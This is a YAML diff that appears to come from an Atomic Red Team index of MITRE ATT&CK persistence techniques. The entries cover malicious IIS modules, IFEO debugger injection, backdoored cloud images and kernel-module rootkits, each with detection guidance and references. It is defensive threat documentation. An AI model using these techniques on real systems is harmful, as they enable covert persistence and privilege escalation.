+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-10-17T15:06:24.161Z'
+      created: '2021-06-03T18:44:29.770Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      description: |-
+        Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)
+
+        Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)
+
+        Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)
+      x_mitre_contributors:
+      - Wes Hurd
+      x_mitre_detection: |-
+        Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to <code>%windir%\system32\inetsrv\config\applicationhost.config</code> could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)
+
+        Monitor execution and command-line arguments of <code>AppCmd.exe</code>, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1505/004
+        external_id: T1505.004
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)
+        description: Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved
+          June 3, 2021.
+        source_name: Microsoft ISAPI Extension Overview 2017
+      - url: https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)
+        description: Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved
+          June 3, 2021.
+        source_name: Microsoft ISAPI Filter Overview 2017
+      - url: https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html
+        description: Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.
+        source_name: IIS Backdoor 2011
+      - url: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/
+        description: Grunzweig, J. (2013, December 9). The Curious Case of the Malicious
+          IIS Module. Retrieved June 3, 2021.
+        source_name: Trustwave IIS Module 2013
+      - url: https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)
+        description: Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests.
+          Retrieved June 3, 2021.
+        source_name: Microsoft ISAPI Extension All Incoming 2017
+      - url: https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
+        description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015,
+          August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved
+          August 18, 2018.
+        source_name: Dell TG-3390
+      - url: https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx
+        description: MMPC. (2012, October 3). Malware signed with the Adobe code signing
+          certificate. Retrieved June 3, 2021.
+        source_name: MMPC ISAPI Filter 2012
+      - url: https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview
+        description: Microsoft. (2007, November 24). IIS Modules Overview. Retrieved
+          June 17, 2021.
+        source_name: Microsoft IIS Modules Overview 2007
+      - url: https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf
+        description: Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware.
+          Retrieved September 9, 2021.
+        source_name: ESET IIS Malware 2021
+      - source_name: Unit 42 RGDoor Jan 2018
+        description: Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor
+          on Targets in the Middle East. Retrieved July 6, 2018.
+        url: https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
     atomic_tests: []
   T1546.012:
     technique:
-      created: '2020-01-24T15:05:58.384Z'
+      type: attack-pattern
       modified: '2020-11-10T18:29:31.112Z'
+      name: Image File Execution Options Injection
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      created: '2020-01-24T15:05:58.384Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      type: attack-pattern
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6
       description: |-
         Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\dbg\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)
@@ -46270,64 +47654,52 @@ persistence:
         Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
 
         Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
-      name: Image File Execution Options Injection
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.012
-        url: https://attack.mitre.org/techniques/T1546/012
-      - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
-        description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
-          Retrieved December 18, 2017.
-        source_name: Microsoft Dev Blog IFEO Mar 2010
-      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
-        description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
-          18, 2017.
-        source_name: Microsoft GFlags Mar 2017
-      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
-        description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
-          Process Exit. Retrieved June 27, 2018.
-        source_name: Microsoft Silent Process Exit NOV 2017
-      - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
-        description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
-          File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
-        source_name: Oddvar Moe IFEO APR 2018
-      - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
-        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
-          Retrieved November 12, 2014.
-        source_name: Tilbury 2014
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
-        description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
-          Retrieved December 18, 2017.
-        source_name: FSecure Hupigon
-      - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
-        description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
-          18, 2017.
-        source_name: Symantec Ushedix June 2008
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Oddvar Moe, @oddvarmoe
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)
 
         Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/012
+        external_id: T1546.012
+        source_name: mitre-attack
+      - source_name: Microsoft Dev Blog IFEO Mar 2010
+        description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
+          Retrieved December 18, 2017.
+        url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
+      - source_name: Microsoft GFlags Mar 2017
+        description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
+          18, 2017.
+        url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
+      - source_name: Microsoft Silent Process Exit NOV 2017
+        description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
+          Process Exit. Retrieved June 27, 2018.
+        url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
+      - source_name: Oddvar Moe IFEO APR 2018
+        description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
+          File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
+        url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
+      - source_name: Tilbury 2014
+        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
+          Retrieved November 12, 2014.
+        url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: FSecure Hupigon
+        description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
+          Retrieved December 18, 2017.
+        url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
+      - source_name: Symantec Ushedix June 2008
+        description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
+          18, 2017.
+        url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
       identifier: T1546.012
     atomic_tests:
     - name: IFEO Add Debugger
@@ -46387,119 +47759,78 @@ persistence:
         elevation_required: true
   T1525:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1525
-        url: https://attack.mitre.org/techniques/T1525
-      - source_name: Rhino Labs Cloud Image Backdoor Technique Sept 2019
-        url: https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/
-        description: Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the
-          Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.
-      - source_name: Rhino Labs Cloud Backdoor September 2019
-        url: https://github.com/RhinoSecurityLabs/ccat
-        description: Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT).
-          Retrieved September 12, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Implant Internal Image
+      x_mitre_data_sources:
+      - 'Image: Image Creation'
+      - 'Image: Image Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-04-12T18:28:27.948Z'
+      created: '2019-09-04T12:04:03.552Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f
+      x_mitre_platforms:
+      - IaaS
+      - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
 
         A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
-      id: attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-12T18:28:27.948Z'
-      created: '2019-09-04T12:04:03.552Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_data_sources:
-      - 'Image: Image Creation'
-      - 'Image: Image Modification'
-      x_mitre_detection: "Monitor interactions with images and containers by users
-        to identify ones that are added or modified anomalously.\n\nIn containerized
-        environments, changes may be detectable by monitoring the Docker daemon logs
-        or setting up and monitoring Kubernetes audit logs depending on registry configuration. "
-      x_mitre_permissions_required:
-      - User
-      x_mitre_version: '2.0'
       x_mitre_contributors:
       - Yossi Weizman, Azure Defender Research Team
       - Vishwas Manral, McAfee
       - Praetorian
-      x_mitre_platforms:
-      - IaaS
-      - Containers
+      x_mitre_detection: "Monitor interactions with images and containers by users
+        to identify ones that are added or modified anomalously.\n\nIn containerized
+        environments, changes may be detectable by monitoring the Docker daemon logs
+        or setting up and monitoring Kubernetes audit logs depending on registry configuration. "
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1525
+        external_id: T1525
+        source_name: mitre-attack
+      - url: https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/
+        description: Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the
+          Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.
+        source_name: Rhino Labs Cloud Image Backdoor Technique Sept 2019
+      - url: https://github.com/RhinoSecurityLabs/ccat
+        description: Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT).
+          Retrieved September 12, 2019.
+        source_name: Rhino Labs Cloud Backdoor September 2019
     atomic_tests: []
   T1547.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.006
-        url: https://attack.mitre.org/techniques/T1547/006
-      - source_name: Linux Kernel Programming
-        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
-        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
-          Module Programming Guide. Retrieved April 6, 2018.
-      - url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
-        description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs.
-          Retrieved April 6, 2018.
-        source_name: Linux Kernel Module Programming Guide
-      - url: http://www.megasecurity.org/papers/Rootkits.pdf
-        description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved
-          April 6, 2018.
-        source_name: iDefense Rootkit Overview
-      - source_name: Apple Kernel Extension Deprecation
-        url: https://developer.apple.com/support/kernel-extensions/
-        description: Apple. (n.d.). Deprecated Kernel Extensions and System Extension
-          Alternatives. Retrieved November 4, 2020.
-      - url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
-        description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility
-          to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.'
-        source_name: Volatility Phalanx2
-      - url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
-        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
-          Retrieved December 21, 2017.
-        source_name: CrowdStrike Linux Rootkit
-      - url: https://github.com/f0rb1dd3n/Reptile
-        description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved
-          April 9, 2018.
-        source_name: GitHub Reptile
-      - url: https://github.com/m0nad/Diamorphine
-        description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux
-          Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.
-        source_name: GitHub Diamorphine
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite.
-          Retrieved April 6, 2018.
-        source_name: RSAC 2015 San Francisco Patrick Wardle
-      - url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
-        description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel
-          Extension Loading’ is Broken. Retrieved April 6, 2018.
-        source_name: Synack Secure Kernel Extension Broken
-      - url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
-        description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble
-          your MacOS spy. Retrieved April 6, 2018.'
-        source_name: Securelist Ventir
-      - source_name: Trend Micro Skidmap
-        url: https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/
-        description: Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux
-          Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload.
-          Retrieved June 4, 2020.
-      - url: http://tldp.org/HOWTO/Module-HOWTO/x197.html
-        description: Henderson, B. (2006, September 24). How To Insert And Remove
-          LKMs. Retrieved April 9, 2018.
-        source_name: Linux Loadable Kernel Module Insert and Remove LKMs
-      - url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
-        description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved
-          April 9, 2018.
-        source_name: Wikipedia Loadable Kernel Module
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Kernel Modules and Extensions
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'Kernel: Kernel Module Load'
+      x_mitre_version: '1.2'
+      modified: '2021-10-19T04:03:46.357Z'
+      created: '2020-01-24T17:42:23.339Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6
+      x_mitre_platforms:
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - root
       description: |-
         Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) 
 
@@ -46508,37 +47839,91 @@ persistence:
         Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)
 
         Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)
-      id: attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-03-30T00:59:53.716Z'
-      created: '2020-01-24T17:42:23.339Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - root
-      x_mitre_detection: |-
-        Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
-
-        For macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.
-
-        Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'Kernel: Kernel Module Load'
       x_mitre_contributors:
       - Wayne Silva, F-Secure Countercept
       - Anastasios Pingios
       - Jeremy Galloway
       - Red Canary
-      x_mitre_platforms:
-      - macOS
-      - Linux
+      x_mitre_detection: |
+        Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: <code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
+
+        Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>
+
+        On macOS, monitor for execution of <code>kextload</code> commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the <code>kext_policy</code> table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, <code>/var/db/SystemPolicyConfiguration/KextPolicy</code>.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/006
+        external_id: T1547.006
+        source_name: mitre-attack
+      - url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
+        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
+          Module Programming Guide. Retrieved April 6, 2018.
+        source_name: Linux Kernel Programming
+      - source_name: Linux Kernel Module Programming Guide
+        description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs.
+          Retrieved April 6, 2018.
+        url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
+      - source_name: iDefense Rootkit Overview
+        description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved
+          April 6, 2018.
+        url: http://www.megasecurity.org/papers/Rootkits.pdf
+      - url: https://developer.apple.com/support/kernel-extensions/
+        description: Apple. (n.d.). Deprecated Kernel Extensions and System Extension
+          Alternatives. Retrieved November 4, 2020.
+        source_name: Apple Kernel Extension Deprecation
+      - source_name: Volatility Phalanx2
+        description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility
+          to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.'
+        url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
+      - source_name: CrowdStrike Linux Rootkit
+        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
+          Retrieved December 21, 2017.
+        url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
+      - source_name: GitHub Reptile
+        description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved
+          April 9, 2018.
+        url: https://github.com/f0rb1dd3n/Reptile
+      - source_name: GitHub Diamorphine
+        description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux
+          Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.
+        url: https://github.com/m0nad/Diamorphine
+      - source_name: RSAC 2015 San Francisco Patrick Wardle
+        description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite.
+          Retrieved April 6, 2018.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - source_name: Synack Secure Kernel Extension Broken
+        description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel
+          Extension Loading’ is Broken. Retrieved April 6, 2018.
+        url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
+      - source_name: Securelist Ventir
+        description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble
+          your MacOS spy. Retrieved April 6, 2018.'
+        url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
+      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/
+        description: Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux
+          Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload.
+          Retrieved June 4, 2020.
+        source_name: Trend Micro Skidmap
+      - source_name: Linux Loadable Kernel Module Insert and Remove LKMs
+        description: Henderson, B. (2006, September 24). How To Insert And Remove
+          LKMs. Retrieved April 9, 2018.
+        url: http://tldp.org/HOWTO/Module-HOWTO/x197.html
+      - source_name: Wikipedia Loadable Kernel Module
+        description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved
+          April 9, 2018.
+        url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
+      - url: https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/
+        description: Pikeralpha. (2017, August 29). User Approved Kernel Extension
+          Loading…. Retrieved September 23, 2021.
+        source_name: User Approved Kernel Extension Pike’s
+      - url: https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/
+        description: Richard Purves. (2017, November 9). MDM and the Kextpocalypse
+          . Retrieved September 23, 2021.
+        source_name: Purves Kextpocalypse 2
+      - url: https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf
+        description: Apple. (2019, May 3). Configuration Profile Reference. Retrieved
+          September 23, 2021.
+        source_name: Apple Developer Configuration Profile
       identifier: T1547.006
     atomic_tests:
     - name: Linux - Load Kernel Module via insmod
@@ -46590,198 +47975,204 @@ persistence:
         elevation_required: true
   T1546.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.006
-        url: https://attack.mitre.org/techniques/T1546/006
